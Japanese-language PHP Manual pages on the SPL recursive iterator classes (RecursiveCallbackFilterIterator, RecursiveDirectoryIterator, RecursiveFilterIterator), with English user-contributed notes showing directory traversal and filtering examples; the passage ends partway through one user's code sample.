内部イテレータの現在の要素が子を持つかどうかチェックする

  • ≪ RecursiveCachingIterator::getChildren
  • RecursiveCallbackFilterIterator ≫
  • PHP Manual
  • RecursiveCachingIterator
  • 内部イテレータの現在の要素が子を持つかどうかチェックする

RecursiveCachingIterator::hasChildren

(PHP 5 >= 5.1.0, PHP 7)

RecursiveCachingIterator::hasChildren — 内部イテレータの現在の要素が子を持つかどうかチェックする

説明

public RecursiveCachingIterator::hasChildren ( ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

内部イテレータが子を持つ場合に true、そうでない場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


RecursiveCallbackFilterIterator クラス

(PHP 5 >= 5.4.0, PHP 7)

はじめに

クラス概要

RecursiveCallbackFilterIterator extends CallbackFilterIterator implements OuterIterator , RecursiveIterator {
/* メソッド */
public __construct ( RecursiveIterator $iterator , string $callback )
public getChildren ( ) : RecursiveCallbackFilterIterator
public hasChildren ( ) : bool
/* 継承したメソッド */
public CallbackFilterIterator::accept ( ) : bool
}

例

コールバックは、三つの引数を受け付けなければなりません。 それぞれ、現在のアイテム、現在のキー、そしてイテレータを表します。

例1 利用可能なコールバック引数

<?php

/**
 * RecursiveCallbackFilterIterator 用のコールバック
 *
 * @param $current   現在のアイテムの値
 * @param $key       現在のアイテムのキー
 * @param $iterator  フィルタリングするイテレータ
 * @return boolean   現在のアイテムを受け付ける場合は TRUE、それ以外の場合は FALSE
 */
function my_callback($current, $key, $iterator) {
    // ここにフィルタリングのコードを書きます
}

?>

再帰イテレータのフィルタリングにはふたつの条件があります。 まず最初は再帰を許可するかどうかです。コールバック関数は、 現在のイテレータのアイテムが子を持つときに true を返さなければなりません。 二番目の条件が通常のフィルタリング条件で、 次の例におけるファイルサイズや拡張子のチェックがこれにあたります。

例2 再帰コールバックの基本例

<?php

$dir = new RecursiveDirectoryIterator(__DIR__);

// 大きなファイル ( > 100MB) をフィルタします
$files = new RecursiveCallbackFilterIterator($dir, function ($current, $key, $iterator) {
    // 再帰を許可します
    if ($iterator->hasChildren()) {
        return TRUE;
    }
    // 巨大なファイルのチェックをします
    if ($current->isFile() && $current->getSize() > 104857600) {
        return TRUE;
    }
    return FALSE;
});

foreach (new RecursiveIteratorIterator($files) as $file) {
    echo $file->getPathname() . PHP_EOL;
}

?>

目次

  • RecursiveCallbackFilterIterator::__construct — RecursiveIterator から RecursiveCallbackFilterIterator を作成する
  • RecursiveCallbackFilterIterator::getChildren — RecursiveCallbackFilterIterator に含まれる内部イテレータの子を返す
  • RecursiveCallbackFilterIterator::hasChildren — 内部イテレータの現在の要素が子を持つかどうかを調べる

User Contributed Notes

a dot belloundja at gmail dot com 01-Jan-2013 11:26
Here is a code that may implement similar functionality in PHP 5.2 or 5.3 :

<?php

class RecursiveCallbackFilterIterator extends RecursiveFilterIterator {

    public function __construct ( RecursiveIterator $iterator, $callback ) {

        $this->callback = $callback;

        parent::__construct($iterator);

    }

    public function accept () {

        $callback = $this->callback;

        return $callback(parent::current(), parent::key(), parent::getInnerIterator());

    }

    public function getChildren () {

        return new self($this->getInnerIterator()->getChildren(), $this->callback);

    }

}

?>
Anonymous 11-Dec-2011 01:31
Note that the following filters out both files and directories whos names start with the letter "T". The important thing here is that since the function returns false for a directory entry whos name starts with T, the directory is also not traversed recursively.

<?php
$doesntStartWithLetterT = function ($current) {
    return $current->getFileName()[0] !== 'T';
};

$rdi = new RecursiveDirectoryIterator(__DIR__);
$files = new RecursiveCallbackFilterIterator($rdi, $doesntStartWithLetterT);
foreach (new RecursiveIteratorIterator($files) as $file) {
    echo $file->getPathname() . PHP_EOL;
}
?>


RecursiveIterator から RecursiveCallbackFilterIterator を作成する

  • ≪ RecursiveCallbackFilterIterator
  • RecursiveCallbackFilterIterator::getChildren ≫
  • PHP Manual
  • RecursiveCallbackFilterIterator
  • RecursiveIterator から RecursiveCallbackFilterIterator を作成する

RecursiveCallbackFilterIterator::__construct

(PHP 5 >= 5.4.0, PHP 7)

RecursiveCallbackFilterIterator::__construct — RecursiveIterator から RecursiveCallbackFilterIterator を作成する

説明

public RecursiveCallbackFilterIterator::__construct ( RecursiveIterator $iterator , string $callback )

callback でフィルタリングした RecursiveIterator を作って、 どのアイテムを受け付けてどれを拒否するかを決めます。

パラメータ

iterator

フィルタリングする再帰イテレータ。

callback

コールバック。現在のアイテムを受け付ける場合に true、 拒否する場合に false を返します。 例 を参照ください。

任意の callable 値を指定できます。

返り値

値を返しません。

参考

  • RecursiveCallbackFilterIterator の例
  • RecursiveCallbackFilterIterator::getChildren() - RecursiveCallbackFilterIterator に含まれる内部イテレータの子を返す
  • RecursiveCallbackFilteriterator::hasChildren() - 内部イテレータの現在の要素が子を持つかどうかを調べる

User Contributed Notes

There are no user contributed notes for this page.


RecursiveCallbackFilterIterator に含まれる内部イテレータの子を返す

  • ≪ RecursiveCallbackFilterIterator::__construct
  • RecursiveCallbackFilterIterator::hasChildren ≫
  • PHP Manual
  • RecursiveCallbackFilterIterator
  • RecursiveCallbackFilterIterator に含まれる内部イテレータの子を返す

RecursiveCallbackFilterIterator::getChildren

(PHP 5 >= 5.4.0, PHP 7)

RecursiveCallbackFilterIterator::getChildren — RecursiveCallbackFilterIterator に含まれる内部イテレータの子を返す

説明

public RecursiveCallbackFilterIterator::getChildren ( ) : RecursiveCallbackFilterIterator

内部イテレータのフィルタリングした子を取得します。

RecursiveCallbackFilterIterator::hasChildren() を使って、取得できる子があるかどうかを調べなければなりません。

パラメータ

この関数にはパラメータはありません。

返り値

子を含む RecursiveCallbackFilterIterator を返します。

参考

  • RecursiveCallbackFilterIterator の例
  • RecursiveCallbackFilterIterator::__construct() - RecursiveIterator から RecursiveCallbackFilterIterator を作成する
  • RecursiveCallbackFilteriterator::hasChildren() - 内部イテレータの現在の要素が子を持つかどうかを調べる

User Contributed Notes

There are no user contributed notes for this page.


内部イテレータの現在の要素が子を持つかどうかを調べる

  • ≪ RecursiveCallbackFilterIterator::getChildren
  • RecursiveDirectoryIterator ≫
  • PHP Manual
  • RecursiveCallbackFilterIterator
  • 内部イテレータの現在の要素が子を持つかどうかを調べる

RecursiveCallbackFilterIterator::hasChildren

(PHP 5 >= 5.4.0, PHP 7)

RecursiveCallbackFilterIterator::hasChildren — 内部イテレータの現在の要素が子を持つかどうかを調べる

説明

public RecursiveCallbackFilterIterator::hasChildren ( ) : bool

現在の要素が子を持つときに true、それ以外の場合に false を返します。

パラメータ

この関数にはパラメータはありません。

返り値

現在の要素が子を持つときに true、それ以外の場合に false を返します。

例

例1 RecursiveCallbackFilterIterator::hasChildren() の基本的な使用例

<?php

$dir = new RecursiveDirectoryIterator(__DIR__);

// 再帰的に XML ファイルを処理します
$files = new RecursiveCallbackFilterIterator($dir, function ($current, $key, $iterator) {
    // ディレクトリの再帰処理を許可します
    if ($iterator->hasChildren()) {
        return TRUE;
    }
    // XML ファイルかどうかを調べます
    if (!strcasecmp($current->getExtension(), 'xml')) {
        return TRUE;
    }
    return FALSE;
});

?>

参考

  • RecursiveCallbackFilterIterator の例
  • RecursiveCallbackFilterIterator::__construct() - RecursiveIterator から RecursiveCallbackFilterIterator を作成する
  • RecursiveCallbackFilteriterator::getChildren() - RecursiveCallbackFilterIterator に含まれる内部イテレータの子を返す

User Contributed Notes

There are no user contributed notes for this page.


RecursiveDirectoryIterator クラス

(PHP 5, PHP 7)

はじめに

RecursiveDirectoryIterator は、 ファイルシステムのディレクトリを再帰的に反復処理するためのインターフェイスです。

クラス概要

RecursiveDirectoryIterator extends FilesystemIterator implements SeekableIterator , RecursiveIterator {
/* 継承した定数 */
const int FilesystemIterator::CURRENT_AS_PATHNAME = 32 ;
const int FilesystemIterator::CURRENT_AS_FILEINFO = 0 ;
const int FilesystemIterator::CURRENT_AS_SELF = 16 ;
const int FilesystemIterator::CURRENT_MODE_MASK = 240 ;
const int FilesystemIterator::KEY_AS_PATHNAME = 0 ;
const int FilesystemIterator::KEY_AS_FILENAME = 256 ;
const int FilesystemIterator::FOLLOW_SYMLINKS = 512 ;
const int FilesystemIterator::KEY_MODE_MASK = 3840 ;
const int FilesystemIterator::NEW_CURRENT_AND_KEY = 256 ;
const int FilesystemIterator::SKIP_DOTS = 4096 ;
const int FilesystemIterator::UNIX_PATHS = 8192 ;
/* メソッド */
public __construct ( string $path , int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO )
public getChildren ( ) : mixed
public getSubPath ( ) : string
public getSubPathname ( ) : string
public hasChildren ( bool $allow_links = false ) : bool
public key ( ) : string
public next ( ) : void
public rewind ( ) : void
/* 継承 */
public FilesystemIterator::__construct ( string $path , int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO | FilesystemIterator::SKIP_DOTS )
public FilesystemIterator::current ( ) : mixed
public FilesystemIterator::getFlags ( ) : int
public FilesystemIterator::key ( ) : string
public FilesystemIterator::next ( ) : void
public FilesystemIterator::rewind ( ) : void
public FilesystemIterator::setFlags ( int $flags = ? ) : void
}

変更履歴

バージョン | 説明
5.3.0 | 親クラスとして FilesystemIterator が導入されました。 これまでは、DirectoryIterator が親クラスでした。
5.3.0 | SeekableIterator を実装しました。
5.2.11, 5.3.1 | RecursiveDirectoryIterator::FOLLOW_SYMLINKS が追加されました。

目次

  • RecursiveDirectoryIterator::__construct — RecursiveDirectoryIterator を作成する
  • RecursiveDirectoryIterator::getChildren — ディレクトリであれば、現在のエントリに対するイテレータを返す
  • RecursiveDirectoryIterator::getSubPath — サブパスを取得する
  • RecursiveDirectoryIterator::getSubPathname — サブパスと名前を取得する
  • RecursiveDirectoryIterator::hasChildren — 現在のエントリがディレクトリかつ '.' もしくは '..' でないかどうかを返す
  • RecursiveDirectoryIterator::key — 現在のディレクトリエントリのパスとファイル名を返す
  • RecursiveDirectoryIterator::next — 次のエントリに移動する
  • RecursiveDirectoryIterator::rewind — ディレクトリを最初に巻き戻す

User Contributed Notes

dxvargas 09-Sep-2019 08:54
When using the option FilesystemIterator::FOLLOW_SYMLINKS if there is a symlink to an upper directory there is a loop so we end up with repeated directories.
For example (having a -> ../ ):

/c
/c/..
/c/a
/c/a/c
/c/a/c/..
/c/a/c/a
/c/a/c/a/c
... (up to 40 x /c/a )
/c/a/c/a/..
/c/a/c/a/.
/c/a/c/.
/c/a/..
/c/a/.
/c/.
/..
/.

Apparently there is a limit to avoid having an infinite loop. I don't know documentation for this.

It would be interesting to have an option to allow following symlinks without loops.
flaurora_sonora 15-Aug-2019 11:30
Do not waste your time with this. I have included a function below that accomplishes the same thing more simply. If you want to do regex while iterating you can pass the regex into the recursive function as a parameter.

<?php

function recursive_read($directory, $entries_array = array()) {
    if(is_dir($directory)) {
        $handle = opendir($directory);
        while(FALSE !== ($entry = readdir($handle))) {
            if($entry == '.' || $entry == '..') {
                continue;
            }
            $Entry = $directory . DS . $entry;
            if(is_dir($Entry)) {
                $entries_array = recursive_read($Entry, $entries_array);
            } else {
                $entries_array[] = $Entry;
            }
        }
        closedir($handle);
    }
    return $entries_array;
}

?>
dev_zakaria at outlook dot com 15-Apr-2019 03:50
if you want to show the all files from all directories you have to follow it-

$dir = new RecursiveDirectoryIterator(getcwd());
$files = new RecursiveIteratorIterator($dir);

foreach($files as $file){
   echo $file->getFileName();
   echo PHP_EOL; // for new line
}

Now, if you want to show the full path, then follow this-

$dir = new RecursiveDirectoryIterator(getcwd());
$files = new RecursiveIteratorIterator($dir);

foreach($files as $file){
   echo $file->getPath().$file->getFileName();
   echo PHP_EOL;
}

If you want to skip the dots, you need to change the first line with this-
$dir = new RecursiveDirectoryIterator(getcwd(), RecursiveDirectoryIterator::SKIP_DOTS);
TDP 12-Apr-2017 02:25
There are differences between Windows and Linux about the order of the files.

<?php
$it = new RecursiveIteratorIterator(
    new RecursiveDirectoryIterator( 'path/to/dir' )
    //, does not matter the flag
    );
...
?>

On Windows, you will get the files ordered by name. On Linux they are not ordered.
alexandrebr at gmail dot com 20-Jan-2016 02:50
I tried to use RecursiveDirectoryIterator to dump all files (and theirs properties, such as size/is_link/is_dir/mtime/perms/owner/group) from a large directory (~400.000 files), filtering some specific wanted files/folders.

Using RecursiveDirectoryIterator and SplFileInfo, dump was taking about 50 seconds to perform, but it was working.

However, to improve performance, I decided to make another version of the same script, using only direct file functions, such as "readdir", "filesize", "filemtime", etc.., and adding recursivity myself (if(is_dir($path)) doRecursivity($path);

After running it, script went from ~50s to only ~20s to complete (On Linux CentOS 7, SSD 300IPs).

Strangely, on Windows 7, Sata3 (with exactly same files [mirrored]) the time went from ~63s to ~57s.

I believe that this payload is due to the OO approach of SPL, which runs lots of unnecessary extra code to perform the same tasks with more reliability, while direct file funcions are more like alias to C corresponding functions, and thereover, must faster.

So, if you're dealing with a large amount of files, using RecursiveDirectoryIterator is probably not the way to go.
flobee 29-Mar-2015 02:58
In this doc page i see things for to hide hidden files  (also for opendir() or readdir() .... this should be mentiond all there
<?php
// not hidden but on most OS systems Win, *nix, OSX..
if ($file == '.' || $file == '..') {
     // "." current dir info,
     // ".." dir above info,
          continue;
?>
or
<?php
if $name[0] === '.' // NOT OK FOLKS
?>
Think:
"... and then came Polly.avi" is the title of the Movi. What do you do then?

Windows does it different with hidden files than unix based systems.

For unix based systems  something like this should work:
<?php
if (preg_match('/^(\.\w+|\.$|\.\.$)/i', $location)) {
/* is hidden:
    .
    ..
    .dir
    .file
*/
}
// must be ok: "..some thing", "... some thing"
?>

I know you do it (if $name[0] === '.' ) because it is much faster. But it is NOT correct and some day you miss things like me today :-)
sun 28-Feb-2014 08:39
Since I continue to run into implementations across the net that are unintentionally running into this trap — beware:

RecursiveDirectoryIterator recurses without limitations into the full filesystem tree.

Do NOT do the following, unless you intentionally want to infinitely recurse without limitations:

<?php
$directory = new \RecursiveDirectoryIterator($path);
$iterator = new \RecursiveIteratorIterator($directory);
$files = array();
foreach ($iterator as $info) {
  if (...custom conditions...) {
    $files[] = $info->getPathname();
  }
}
?>

1. RecursiveDirectoryIterator is just a RecursiveIterator that recurses into its children, until no more children are found.

2. The instantiation of RecursiveIteratorIterator causes RecursiveDirectoryIterator to *immediately* recurse infinitely into the entire filesystem tree (starting from the given base path).

3. Unnecessary filesystem recursion is slow.  In 90% of all cases, this is not what you want.

Remember this simple rule of thumb:

→ A RecursiveDirectoryIterator must be FILTERED or you have a solid reason for why it shouldn't.

On PHP <5.4, implement the following - your custom conditions move into a proper filter:

<?php
$directory = new \RecursiveDirectoryIterator($path, \FilesystemIterator::FOLLOW_SYMLINKS);
$filter = new MyRecursiveFilterIterator($directory);
$iterator = new \RecursiveIteratorIterator($filter);
$files = array();
foreach ($iterator as $info) {
  $files[] = $info->getPathname();
}

class MyRecursiveFilterIterator extends \RecursiveFilterIterator {

  public function accept() {
    $filename = $this->current()->getFilename();
    // Skip hidden files and directories.
    if ($name[0] === '.') {
      return FALSE;
    }
    if ($this->isDir()) {
      // Only recurse into intended subdirectories.
      return $name === 'wanted_dirname';
    }
    else {
      // Only consume files of interest.
      return strpos($name, 'wanted_filename') === 0;
    }
  }

}
?>

On PHP 5.4+, PHP core addressed the slightly cumbersome issue of having to create an entirely new class and you can leverage the new RecursiveCallbackFilterIterator instead:

<?php
$directory = new \RecursiveDirectoryIterator($path, \FilesystemIterator::FOLLOW_SYMLINKS);
$filter = new \RecursiveCallbackFilterIterator($directory, function ($current, $key, $iterator) {
  // Skip hidden files and directories.
  if ($current->getFilename()[0] === '.') {
    return FALSE;
  }
  if ($current->isDir()) {
    // Only recurse into intended subdirectories.
    return $current->getFilename() === 'wanted_dirname';
  }
  else {
    // Only consume files of interest.
    return strpos($current->getFilename(), 'wanted_filename') === 0;
  }
});
$iterator = new \RecursiveIteratorIterator($filter);
$files = array();
foreach ($iterator as $info) {
  $files[] = $info->getPathname();
}
?>

Have fun!
rockerBOO 19-Jan-2014 04:01
When looping through the RecursiveDirectoryIterator , the results use  SplFileInfo.
Edward Rudd 18-Dec-2013 04:11
(related to the post about exceptions in getChildren().

instead of subclassing you can simply use the CATCH_GET_CHILD flag for RecursiveIteratorIterator

new RecursiveIteratorIterator($diriter, RecursiveIteratorIterator::CATCH_GET_CHILD);
dblanchard1 at bbox dot fr 13-Nov-2013 09:07
If you want to copy all files recursively from a source directory to some destination  :

    $directory = new RecursiveDirectoryIterator("./source_path/");

    foreach (new RecursiveIteratorIterator($directory) as $filename=>$current) {

            $src = $current->getPathName();
            $dest = "./destination_path/" . $current->getFileName();

            echo "copy " .  $src . " => " . $dest  . "\n";

            copy($src, $dest);
     }

I hope it can help someone because when I looked for this solution I had to transform another example to get it.
catinahat at cool dot fr dot nf 19-Jan-2013 12:44
If you need to convert a nested directory tree into a multidimensional array, use this code:

<?php
$ritit = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($startpath), RecursiveIteratorIterator::CHILD_FIRST);
$r = array();
foreach ($ritit as $splFileInfo) {
   $path = $splFileInfo->isDir()
         ? array($splFileInfo->getFilename() => array())
         : array($splFileInfo->getFilename());

   for ($depth = $ritit->getDepth() - 1; $depth >= 0; $depth--) {
       $path = array($ritit->getSubIterator($depth)->current()->getFilename() => $path);
   }
   $r = array_merge_recursive($r, $path);
}

print_r($r);
?>
Josh Heidenreich 14-Feb-2012 03:51
The returned object is an iterator of SplFileInfo objects.
antennen 02-Jan-2011 09:40
If you use RecursiveDirectoryIterator with RecursiveIteratorIterator and run into UnexpectedValueException you may use this little hack to ignore those directories, such as lost+found on linux.

<?php
class IgnorantRecursiveDirectoryIterator extends RecursiveDirectoryIterator {
    function getChildren() {
        try {
            return new IgnorantRecursiveDirectoryIterator($this->getPathname());
        } catch(UnexpectedValueException $e) {
            return new RecursiveArrayIterator(array());
        }
    }
}
?>

Use just like the normal RecursiveDirectoryIterator.
Thriault 09-Apr-2010 12:05
If you would like to get, say, all the *.php files in your project folder, recursively, you could use the following:

<?php

$Directory = new RecursiveDirectoryIterator('path/to/project/');
$Iterator = new RecursiveIteratorIterator($Directory);
$Regex = new RegexIterator($Iterator, '/^.+\.php$/i', RecursiveRegexIterator::GET_MATCH);

?>

$Regex will contain a single index array for each PHP file.
megar 15-Jul-2009 01:57
Usage example:
To see all the files, and count the space usage:

<?php
$ite=new RecursiveDirectoryIterator("/path/");

$bytestotal=0;
$nbfiles=0;
foreach (new RecursiveIteratorIterator($ite) as $filename=>$cur) {
    $filesize=$cur->getSize();
    $bytestotal+=$filesize;
    $nbfiles++;
    echo "$filename => $filesize\n";
}

$bytestotal=number_format($bytestotal);
echo "Total: $nbfiles files, $bytestotal bytes\n";
?>
alvaro at demogracia dot com 18-Sep-2008 08:15
Usage example:

<?php

$path = realpath('/etc');

$objects = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path), RecursiveIteratorIterator::SELF_FIRST);
foreach($objects as $name => $object){
    echo "$name\n";
}

?>

This prints a list of all files and directories under $path (including $path ifself). If you want to omit directories, remove the RecursiveIteratorIterator::SELF_FIRST part.


RecursiveDirectoryIterator を作成する

  • ≪ RecursiveDirectoryIterator
  • RecursiveDirectoryIterator::getChildren ≫
  • PHP Manual
  • RecursiveDirectoryIterator
  • RecursiveDirectoryIterator を作成する

RecursiveDirectoryIterator::__construct

(PHP 5 >= 5.1.2, PHP 7)

RecursiveDirectoryIterator::__construct — RecursiveDirectoryIterator を作成する

説明

public RecursiveDirectoryIterator::__construct ( string $path , int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO )

指定したパス path の RecursiveDirectoryIterator() を作成します。

パラメータ

path

反復処理の対象となるディレクトリのパス。

flags

フラグを指定して、いくつかのメソッドの振る舞いを変更することができます。 フラグの一覧は FilesystemIterator の定義済み定数 にあります。フラグは、あとから FilesystemIterator::setFlags() で設定することもできます。

返り値

新しく作成した RecursiveDirectoryIterator を返します。

エラー / 例外

path が見つからない、あるいはディレクトリでない場合に UnexpectedValueException をスローします。

例

例1 RecursiveDirectoryIterator の例

<?php

$directory = '/tmp';

$it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory));

$it->rewind();
while($it->valid()) {

    if (!$it->isDot()) {
        echo 'SubPathName: ' . $it->getSubPathName() . "\n";
        echo 'SubPath:     ' . $it->getSubPath() . "\n";
        echo 'Key:         ' . $it->key() . "\n\n";
    }

    $it->next();
}

?>

上の例の出力は、 たとえば以下のようになります。

SubPathName: fruit/apple.xml
SubPath:     fruit
Key:         /tmp/fruit/apple.xml

SubPathName: stuff.xml
SubPath:
Key:         /tmp/stuff.xml

SubPathName: veggies/carrot.xml
SubPath:     veggies
Key:         /tmp/veggies/carrot.xml

参考

  • FilesystemIterator::__construct() - 新しい filesystem イテレータを作成する
  • RecursiveIteratorIterator::__construct() - RecursiveIteratorIterator を作成する
  • FilesystemIterator の定義済み定数

User Contributed Notes

hanskrentel at yahoo dot de 02-Sep-2012 09:54
The two default flags are zero (virtual) as with my PHP versions (5.3 and 5.4). Which means you can not check if those are set or not with the & bitwise operator:

<?php
// CURRENT_AS_FILEINFO (0)
// KEY_AS_PATHNAME (0)

### always FALSE ###
$directoryIterator->getFlags() & RecursiveDirectoryIterator::CURRENT_AS_FILEINFO;

?>

But this also allows that you can use other flags right ahead without repeating the default ones:

<?php
new RecursiveDirectoryIterator(
    '.',
    FilesystemIterator::UNIX_PATHS
);
?>

There is no need to repeat the default flags. Please note that this is different to FilesystemIterator which has as well the SKIP_DOTS flag as default which is non-zero:

<?php
new RecursiveDirectoryIterator(
    '.',
    FilesystemIterator::SKIP_DOTS
        | FilesystemIterator::UNIX_PATHS
);
?>
pedro dot matamouros at gmail dot com 17-Sep-2010 05:43
You can use RecursiveDirectoryIterator::FOLLOW_SYMLINKS as a flag to the constructor to have RecursiveDirectoryIterator follow symlinks, which it does not do by default.

[EDIT BY danbrown AT php DOT net on 16-JUL-2012: Contains a typofix provided by (lightrekky AT gmail DOT com) in note #109280 on 02-JUL-2012.]


ディレクトリであれば、現在のエントリに対するイテレータを返す

  • ≪ RecursiveDirectoryIterator::__construct
  • RecursiveDirectoryIterator::getSubPath ≫
  • PHP Manual
  • RecursiveDirectoryIterator
  • ディレクトリであれば、現在のエントリに対するイテレータを返す

RecursiveDirectoryIterator::getChildren

(PHP 5 >= 5.1.0, PHP 7)

RecursiveDirectoryIterator::getChildren — ディレクトリであれば、現在のエントリに対するイテレータを返す

説明

public RecursiveDirectoryIterator::getChildren ( ) : mixed
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

ファイル名、ファイル情報、あるいは $this のどれかを、 設定されているフラグによって返します。 FilesystemIterator の定数 も参照ください。

User Contributed Notes

There are no user contributed notes for this page.


サブパスを取得する

  • ≪ RecursiveDirectoryIterator::getChildren
  • RecursiveDirectoryIterator::getSubPathname ≫
  • PHP Manual
  • RecursiveDirectoryIterator
  • サブパスを取得する

RecursiveDirectoryIterator::getSubPath

(PHP 5 >= 5.1.0, PHP 7)

RecursiveDirectoryIterator::getSubPath — サブパスを取得する

説明

public RecursiveDirectoryIterator::getSubPath ( ) : string

コンストラクタで渡されたディレクトリのサブパスを返します。

パラメータ

この関数にはパラメータはありません。

返り値

サブパス(サブディレクトリ) を返します。

例

例1 getSubPath() の例

$directory = '/tmp';

      $it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory));

      foreach ($it as $file) {
          echo 'SubPathName: ' . $it->getSubPathName() . "\n";
          echo 'SubPath:     ' . $it->getSubPath() . "\n\n";
      }

上の例の出力は、 たとえば以下のようになります。

     SubPathName: fruit/apple.xml
     SubPath:     fruit

     SubPathName: stuff.xml
     SubPath:

     SubPathName: veggies/carrot.xml
     SubPath:     veggies

参考

  • RecursiveDirectoryIterator::getSubPathName() - サブパスと名前を取得する
  • RecursiveDirectoryIterator::key() - 現在のディレクトリエントリのパスとファイル名を返す

User Contributed Notes

There are no user contributed notes for this page.


サブパスと名前を取得する

  • ≪ RecursiveDirectoryIterator::getSubPath
  • RecursiveDirectoryIterator::hasChildren ≫
  • PHP Manual
  • RecursiveDirectoryIterator
  • サブパスと名前を取得する

RecursiveDirectoryIterator::getSubPathname

(PHP 5 >= 5.1.0, PHP 7)

RecursiveDirectoryIterator::getSubPathname — サブパスと名前を取得する

説明

public RecursiveDirectoryIterator::getSubPathname ( ) : string

サブパスとファイル名を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

サブパス (サブディレクトリ) とファイル名を返します。

例

例1 getSubPathname() の例

$directory = '/tmp';

      $it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory));

      foreach ($it as $file) {
          echo 'SubPathName: ' . $it->getSubPathName() . "\n";
          echo 'SubPath:     ' . $it->getSubPath() . "\n\n";
      }

上の例の出力は、 たとえば以下のようになります。

     SubPathName: fruit/apple.xml
     SubPath:     fruit

     SubPathName: stuff.xml
     SubPath:

     SubPathName: veggies/carrot.xml
     SubPath:     veggies

参考

  • RecursiveDirectoryIterator::getSubPath() - サブパスを取得する
  • RecursiveDirectoryIterator::key() - 現在のディレクトリエントリのパスとファイル名を返す

User Contributed Notes

There are no user contributed notes for this page.


現在のエントリがディレクトリかつ '.' もしくは '..' でないかどうかを返す

  • ≪ RecursiveDirectoryIterator::getSubPathname
  • RecursiveDirectoryIterator::key ≫
  • PHP Manual
  • RecursiveDirectoryIterator
  • 現在のエントリがディレクトリかつ '.' もしくは '..' でないかどうかを返す

RecursiveDirectoryIterator::hasChildren

(PHP 5, PHP 7)

RecursiveDirectoryIterator::hasChildren — 現在のエントリがディレクトリかつ '.' もしくは '..' でないかどうかを返す

説明

public RecursiveDirectoryIterator::hasChildren ( bool $allow_links = false ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

allow_links

返り値

現在のエントリが ('.' や '..' 以外の) ディレクトリであるかどうかを返します。

User Contributed Notes

There are no user contributed notes for this page.


現在のディレクトリエントリのパスとファイル名を返す

  • ≪ RecursiveDirectoryIterator::hasChildren
  • RecursiveDirectoryIterator::next ≫
  • PHP Manual
  • RecursiveDirectoryIterator
  • 現在のディレクトリエントリのパスとファイル名を返す

RecursiveDirectoryIterator::key

(PHP 5, PHP 7)

RecursiveDirectoryIterator::key — 現在のディレクトリエントリのパスとファイル名を返す

説明

public RecursiveDirectoryIterator::key ( ) : string
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

現在のディレクトリエントリのパスとファイル名を返します。

User Contributed Notes

There are no user contributed notes for this page.


次のエントリに移動する

  • ≪ RecursiveDirectoryIterator::key
  • RecursiveDirectoryIterator::rewind ≫
  • PHP Manual
  • RecursiveDirectoryIterator
  • 次のエントリに移動する

RecursiveDirectoryIterator::next

(PHP 5, PHP 7)

RecursiveDirectoryIterator::next — 次のエントリに移動する

説明

public RecursiveDirectoryIterator::next ( ) : void
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


ディレクトリを最初に巻き戻す

  • ≪ RecursiveDirectoryIterator::next
  • RecursiveFilterIterator ≫
  • PHP Manual
  • RecursiveDirectoryIterator
  • ディレクトリを最初に巻き戻す

RecursiveDirectoryIterator::rewind

(PHP 5, PHP 7)

RecursiveDirectoryIterator::rewind — ディレクトリを最初に巻き戻す

説明

public RecursiveDirectoryIterator::rewind ( ) : void
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


RecursiveFilterIterator クラス

(PHP 5 >= 5.1.0, PHP 7)

はじめに

この抽象イテレータは、不要な値を RecursiveIterator から取り除きます。 このクラスを継承して、独自のフィルタを実装することができます。 RecursiveFilterIterator::accept() は、サブクラスで必ず実装しなければなりません。

クラス概要

abstract RecursiveFilterIterator extends FilterIterator implements OuterIterator , RecursiveIterator {
/* メソッド */
public __construct ( RecursiveIterator $iterator )
public getChildren ( ) : RecursiveFilterIterator
public hasChildren ( ) : bool
/* 継承したメソッド */
public abstract FilterIterator::accept ( ) : bool
public FilterIterator::__construct ( Iterator $iterator )
public FilterIterator::current ( ) : mixed
public FilterIterator::getInnerIterator ( ) : Iterator
public FilterIterator::key ( ) : mixed
public FilterIterator::next ( ) : void
public FilterIterator::rewind ( ) : void
public FilterIterator::valid ( ) : bool
}

目次

  • RecursiveFilterIterator::__construct — RecursiveIterator から RecursiveFilterIterator を作成する
  • RecursiveFilterIterator::getChildren — RecursiveFilterIterator に含まれる内部イテレータの子を返す
  • RecursiveFilterIterator::hasChildren — 内部イテレータの現在の要素が子を持つかどうかを調べる

User Contributed Notes

lemats 05-May-2011 10:14
Recursive directory/file listing, filteres ".svn":

<?php

class MyRecursiveFilterIterator extends RecursiveFilterIterator {

    public static $FILTERS = array(
        '.svn',
    );

    public function accept() {
        return !in_array(
            $this->current()->getFilename(),
            self::$FILTERS,
            true
        );
    }

}

$dirItr    = new RecursiveDirectoryIterator('/sample/path');
$filterItr = new MyRecursiveFilterIterator($dirItr);
$itr       = new RecursiveIteratorIterator($filterItr, RecursiveIteratorIterator::SELF_FIRST);
foreach ($itr as $filePath => $fileInfo) {
    echo $fileInfo->getFilename() . PHP_EOL;
}

?>
Russell Dias 28-Sep-2010 06:38
I had to create a filter to get values greater than a certain number in a multidimensional array.

Hope someone else finds it helpful:

<?php
class GreaterThanFilter extends RecursiveFilterIterator {
    protected $limit;

    public function __construct(RecursiveIterator $recursiveIter, $limit) {
        $this->limit = $limit;
